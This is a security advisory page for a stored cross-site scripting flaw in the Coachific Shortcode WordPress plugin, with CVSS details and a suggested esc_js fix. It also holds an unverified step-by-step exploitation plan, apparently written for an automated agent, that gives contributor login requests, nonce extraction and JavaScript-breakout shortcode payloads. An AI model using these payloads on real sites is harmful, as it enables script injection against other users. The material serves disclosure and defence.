CVE-2026-4005

Coachific Shortcode <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'userhash' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Coachific Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'userhash' shortcode attribute in all versions up to and including 1.0. This is due to insufficient input sanitization and output escaping. The plugin uses sanitize_text_field() on the 'userhash' parameter, which strips HTML tags but does not escape characters significant in a JavaScript string context (such as double quotes, semicolons, and parentheses). The sanitized value is then directly interpolated into a JavaScript string within a <script> tag on line 29 without any JavaScript-specific escaping (e.g., wp_json_encode() or esc_js()). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected plugincoachific-shortcode
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4005 (Coachific Shortcode XSS) ## 1. Vulnerability Summary The **Coachific Shortcode** plugin (versions <= 1.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly escape the `userhash` attribut…

Show full research plan

Exploitation Research Plan: CVE-2026-4005 (Coachific Shortcode XSS)

1. Vulnerability Summary

The Coachific Shortcode plugin (versions <= 1.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to properly escape the userhash attribute of its shortcode when outputting it inside a <script> tag on line 29 of the processing file. While the plugin uses sanitize_text_field() on the input, this function is insufficient for JavaScript contexts as it does not escape characters like single quotes ('), which can be used to break out of a JavaScript string literal.

2. Attack Vector Analysis

  • Endpoint: WordPress Post/Page Editor (wp-admin/post.php or wp-admin/post-new.php).
  • Shortcode: [coachific_shortcode] (inferred) or similar, using the userhash attribute.
  • Attribute: userhash.
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts and embed shortcodes.
  • Preconditions: The plugin must be active. A Contributor or higher user must be able to save a post containing the malicious shortcode.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a shortcode, likely via add_shortcode( 'coachific_shortcode', 'handler_function' ) in the main plugin file.
  2. Processing: When a post containing [coachific_shortcode userhash="..."] is viewed, the handler function is triggered.
  3. Sanitization: The handler retrieves the attributes and applies sanitize_text_field( $atts['userhash'] ).
  4. Vulnerable Sink (Line 29): The sanitized $userhash is echoed directly into a <script> block:
    // Inferred logic based on vulnerability description
    echo "<script type='text/javascript'>";
    echo "var coachific_user_hash = '" . $userhash . "';"; // Line 29
    echo "</script>";
    
  5. Execution: Because sanitize_text_field allows single quotes, an attacker can provide a payload like ';alert(1)// to terminate the string and execute arbitrary JS.

4. Nonce Acquisition Strategy (Authenticated)

Since this exploit requires Contributor-level access to save a post, the agent must simulate an authenticated session.

  1. Login: Perform a login to wp-login.php using Contributor credentials.
  2. Access Editor: Navigate to wp-admin/post-new.php to initiate a new post creation.
  3. Extract Nonces: Use browser_eval to extract the necessary nonces for post creation/saving:
    • document.querySelector('#_wpnonce').value (for standard post submission).
    • Or extract from the wp-admin page source if using the REST API / Gutenberg.
  4. Intercept/Identify Action: Standard WordPress post creation uses action=editpost or a REST API call to wp-json/wp/v2/posts.

5. Exploitation Strategy

The goal is to store a shortcode that executes XSS when the post is rendered.

Step 1: Authentication

Use the http_request tool to log in as a Contributor.

  • URL: http://localhost:8080/wp-login.php
  • Body: log=contributor&pwd=password&wp-submit=Log+In&testcookie=1
  • Header: Content-Type: application/x-www-form-urlencoded

Step 2: Obtain Post Nonce

Navigate to wp-admin/post-new.php and extract the _wpnonce.

  • Action: browser_navigate("http://localhost:8080/wp-admin/post-new.php")
  • Tool: browser_eval("document.querySelector('#_wpnonce').value")

Step 3: Inject Stored XSS

Create a post containing the malicious shortcode.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Body (URL Encoded):
    action=editpost
    &post_ID=[NEW_POST_ID]
    &_wpnonce=[EXTRACTED_NONCE]
    &post_title=XSS_Test
    &content=[coachific_shortcode userhash="';alert(document.domain)//"]
    &publish=Publish
    
  • Note: If the exact shortcode name is unknown, the agent should first run grep -r "add_shortcode" /var/www/html/wp-content/plugins/coachific-shortcode/ to find the registered tag.

Step 4: Trigger Execution

Navigate to the newly created post's frontend URL.

  • URL: http://localhost:8080/?p=[POST_ID]
  • Observation: The browser should execute alert(document.domain).

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create contributor contributor@example.com --role=contributor --user_pass=password
  2. Plugin Activation: Ensure the plugin is active.
    • wp plugin activate coachific-shortcode

7. Expected Results

  • The HTML source of the rendered post should contain:
    <script type='text/javascript'>var coachific_user_hash = '';alert(document.domain)//';</script>
    
  • An alert box with the site's domain should appear in the browser context.

8. Verification Steps

  1. Verify Storage: Use WP-CLI to check if the payload is in the database.
    • wp post get [POST_ID] --field=post_content
  2. Verify Output: Use http_request to fetch the post content and check for the broken-out <script> tag.
    • grep "alert(document.domain)" response_body

9. Alternative Approaches

  • Double Quote Breakout: If the plugin uses double quotes var h = "[userhash]";, use payload ");alert(1)//.
  • Attribute Breakout: If sanitize_text_field is more aggressive, try breaking out of the script tag itself if possible (though description says it's inside the string): </script><script>alert(1)</script>.
  • Shortcode Name Hunt: If [coachific_shortcode] fails, search for the add_shortcode call in the plugin directory to find the exact tag and attribute names. (e.g., grep -rn "add_shortcode" .)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Coachific Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'userhash' shortcode attribute. This occurs because the plugin fails to properly escape user-provided input before outputting it inside a JavaScript string literal within a <script> tag, allowing contributors to execute arbitrary JavaScript in the context of other users' sessions.

Vulnerable Code

// coachific-shortcode.php or associated shortcode handler file

$userhash = sanitize_text_field( $atts['userhash'] );

echo "<script type='text/javascript'>";
// Line 29
echo "var coachific_user_hash = '" . $userhash . "';";
echo "</script>";

Security Fix

--- coachific-shortcode.php
+++ coachific-shortcode.php
@@ -26,4 +26,4 @@
 $userhash = sanitize_text_field( $atts['userhash'] );
 echo "<script type='text/javascript'>";
-echo "var coachific_user_hash = '" . $userhash . "';";
+echo "var coachific_user_hash = '" . esc_js( $userhash ) . "';";
 echo "</script>";

Exploit Outline

The exploit is performed by an authenticated user with at least Contributor-level access. The attacker targets the WordPress post editor (wp-admin/post-new.php) and inserts a shortcode using the 'userhash' attribute. Because the plugin only applies sanitize_text_field() to this attribute, characters like single quotes are not stripped. A payload such as [coachific_shortcode userhash="';alert(1)//"] is used to terminate the existing JavaScript string variable assignment and execute arbitrary code. Once the post is saved and viewed by any user, the malicious payload triggers automatically in the victim's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.